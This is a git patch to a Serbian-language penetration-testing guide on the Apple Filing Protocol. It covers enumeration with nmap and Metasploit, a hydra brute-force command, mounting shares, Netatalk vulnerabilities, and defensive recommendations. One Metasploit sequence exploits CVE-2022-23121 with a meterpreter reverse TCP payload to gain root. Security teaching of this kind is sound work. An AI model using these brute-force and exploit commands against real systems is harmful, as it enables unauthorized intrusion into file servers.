From 30767e0f131c6c35d5cb255621d4b1d2b483e664 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 14 Aug 2025 03:07:27 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/584-pentesting-afp.md'] to --- .../584-pentesting-afp.md | 112 +++++++++++++++--- 1 file changed, 97 insertions(+), 15 deletions(-) diff --git a/src/network-services-pentesting/584-pentesting-afp.md b/src/network-services-pentesting/584-pentesting-afp.md index 1d90f6ad2..b3f19f9dd 100644 --- a/src/network-services-pentesting/584-pentesting-afp.md +++ b/src/network-services-pentesting/584-pentesting-afp.md @@ -2,29 +2,111 @@ {{#include ../banners/hacktricks-training.md}} -## Osnovne Informacije +## Osnovne informacije -**Apple Filing Protocol** (**AFP**), nekada poznat kao AppleTalk Filing Protocol, je specijalizovani mrežni protokol uključen unutar **Apple File Service** (**AFS**). Dizajniran je da obezbedi usluge datoteka za macOS i klasični Mac OS. AFP se izdvaja po podršci za Unicode imena datoteka, POSIX i dozvole kontrolne liste pristupa, resursne forkove, imenovane proširene atribute i sofisticirane mehanizme zaključavanja datoteka. Bio je glavni protokol za usluge datoteka u Mac OS 9 i ranijim verzijama. +**Apple Filing Protocol** (**AFP**), nekada poznat kao AppleTalk Filing Protocol, je specijalizovani mrežni protokol uključen u **Apple File Service** (**AFS**). Dizajniran je da obezbedi usluge datoteka za macOS i klasični Mac OS. AFP se izdvaja po podršci za Unicode imena datoteka, POSIX stil i ACL dozvole, resursne forkove, imenovane proširene atribute i sofisticirane mehanizme zaključavanja datoteka. -**Podrazumevani Port:** 548 +Iako je AFP zamenjen SMB-om u modernim macOS izdanjima (SMB je podrazumevani od OS X 10.9), još uvek se susreće u: + +* Nasleđenim macOS / Mac OS 9 okruženjima +* NAS uređajima (QNAP, Synology, Western Digital, TrueNAS…) koji uključuju open-source **Netatalk** demon +* Mrežama mešovitih operativnih sistema gde je Time-Machine-over-AFP još uvek omogućen + +**Podrazumevani TCP port:** **548** (AFP preko TCP / DSI) ```bash -PORT STATE SERVICE -548/tcp open afp +PORT STATE SERVICE +548/tcp open afp ``` -### **Enumeracija** +--- -Za enumeraciju AFP usluga, sledeće komande i skripte su korisne: +## Enumeracija + +### Brzi banner / informacije o serveru ```bash -msf> use auxiliary/scanner/afp/afp_server_info -nmap -sV --script "afp-* and not dos and not brute" -p +# Metasploit auxiliary +use auxiliary/scanner/afp/afp_server_info +run RHOSTS= + +# Nmap NSE +nmap -p 548 -sV --script "afp-* and not dos" ``` -**Skripte i njihove opise:** +Korisni AFP NSE skripti: -- **afp-ls**: Ova skripta se koristi za listanje dostupnih AFP volumena i fajlova. -- **afp-path-vuln**: Lista sve AFP volumene i fajlove, ističući potencijalne ranjivosti. -- **afp-serverinfo**: Ovo pruža detaljne informacije o AFP serveru. -- **afp-showmount**: Lista dostupne AFP delove zajedno sa njihovim odgovarajućim ACL-ovima. +| Skripta | Šta radi | +|---------|----------| +| **afp-ls** | Prikazuje dostupne AFP volumene i datoteke | +| **afp-brute** | Brute-force napad na lozinku za AFP prijavu | +| **afp-serverinfo** | Ispisuje ime servera, tip mašine, AFP verziju, podržane UAM-ove, itd. | +| **afp-showmount** | Prikazuje deljenja zajedno sa njihovim ACL-ovima | +| **afp-path-vuln** | Otkriva (i može iskoristiti) napad pretraživanjem direktorijuma, CVE-2010-0533 | -### [**Brute Force**](../generic-hacking/brute-force.md#afp) +NSE brute-force skripta može se kombinovati sa Hydra/Medusa ako je potrebna veća kontrola: +```bash +hydra -L users.txt -P passwords.txt afp:// +``` +### Interacting with shares +*macOS* +```bash +# Finder → Go → "Connect to Server…" +# or from terminal +mkdir /Volumes/afp +mount_afp afp://USER:[email protected]/SHARE /Volumes/afp +``` +*Linux* (koristeći `afpfs-ng` ‑ pakovan u većini distribucija) +```bash +apt install afpfs-ng +mkdir /mnt/afp +mount_afp afp://USER:[email protected]/SHARE /mnt/afp +# or interactive client +afp_client +``` +Jednom kada je montiran, zapamtite da se klasične Mac resursne forkove čuvaju kao skrivene `._*` AppleDouble datoteke – ove često sadrže zanimljive metapodatke koje DFIR alati propuštaju. + +--- + +## Uobičajene ranjivosti i eksploatacija + +### Netatalk neautentifikovana RCE lanac (2022) + +Nekoliko NAS dobavljača isporučilo je **Netatalk ≤3.1.12**. Nedostatak provere granica u `parse_entries()` omogućava napadaču da kreira zlonamerni **AppleDouble** header i dobije **daljinski root** pre autentifikacije (**CVSS 9.8 – CVE-2022-23121**). Potpuni izveštaj od strane NCC Group sa PoC koji eksploatiše Western-Digital PR4100 je dostupan. + +Metasploit (>= 6.3) isporučuje modul `exploit/linux/netatalk/parse_entries` koji isporučuje payload putem DSI `WRITE`. +```bash +use exploit/linux/netatalk/parse_entries +set RHOSTS +set TARGET 0 # Automatic (Netatalk) +set PAYLOAD linux/x64/meterpreter_reverse_tcp +run +``` +Ako cilj koristi pogođeni QNAP/Synology firmware, uspešna eksploatacija donosi shell kao **root**. + +### Netatalk OpenSession heap overflow (2018) + +Stariji Netatalk (3.0.0 - 3.1.11) je ranjiv na write izvan granica u **DSI OpenSession** handleru, što omogućava neautentifikovanu izvršavanje koda (**CVE-2018-1160**). Detaljna analiza i PoC su objavljeni od strane Tenable Research. + +### Ostali značajni problemi + +* **CVE-2022-22995** – Symlink preusmeravanje koje dovodi do proizvoljnog pisanja datoteka / RCE kada je AppleDouble v2 omogućena (3.1.0 - 3.1.17). +* **CVE-2010-0533** – Prelazak direktorijuma u Apple Mac OS X 10.6 AFP (otkriven od strane `afp-path-vuln.nse`). +* Više grešaka u bezbednosti memorije je ispravljeno u **Netatalk 4.x (2024)** – preporučuje se nadogradnja umesto zakrpa pojedinačnih CVE. + +--- + +## Preporuke za odbranu + +1. **Onemogućite AFP** osim ako nije strogo potrebno – koristite SMB3 ili NFS umesto toga. +2. Ako AFP mora ostati, **nadogradite Netatalk na ≥ 3.1.18 ili 4.x**, ili primenite firmware dobavljača koji unazad portuje zakrpe iz 2022/2023/2024. +3. Sprovodite **Jake UAM-ove** (npr. *DHX2*), onemogućite prijave u čistom tekstu i gostujuće prijave. +4. Ograničite TCP 548 na pouzdane podmreže i obavijte AFP unutar VPN-a kada je izložen na daljinu. +5. Periodično skenirajte sa `nmap -p 548 --script afp-*` u CI/CD da uhvatite rogue / downgraded uređaje. + +--- + +### [Brute-Force](../generic-hacking/brute-force.md#afp) + +## Reference + +* Netatalk Security Advisory CVE-2022-23121 – "Izvršavanje proizvoljnog koda u parse_entries" +* Tenable Research – "Eksploatacija greške starije od 18 godina (CVE-2018-1160)" {{#include ../banners/hacktricks-training.md}}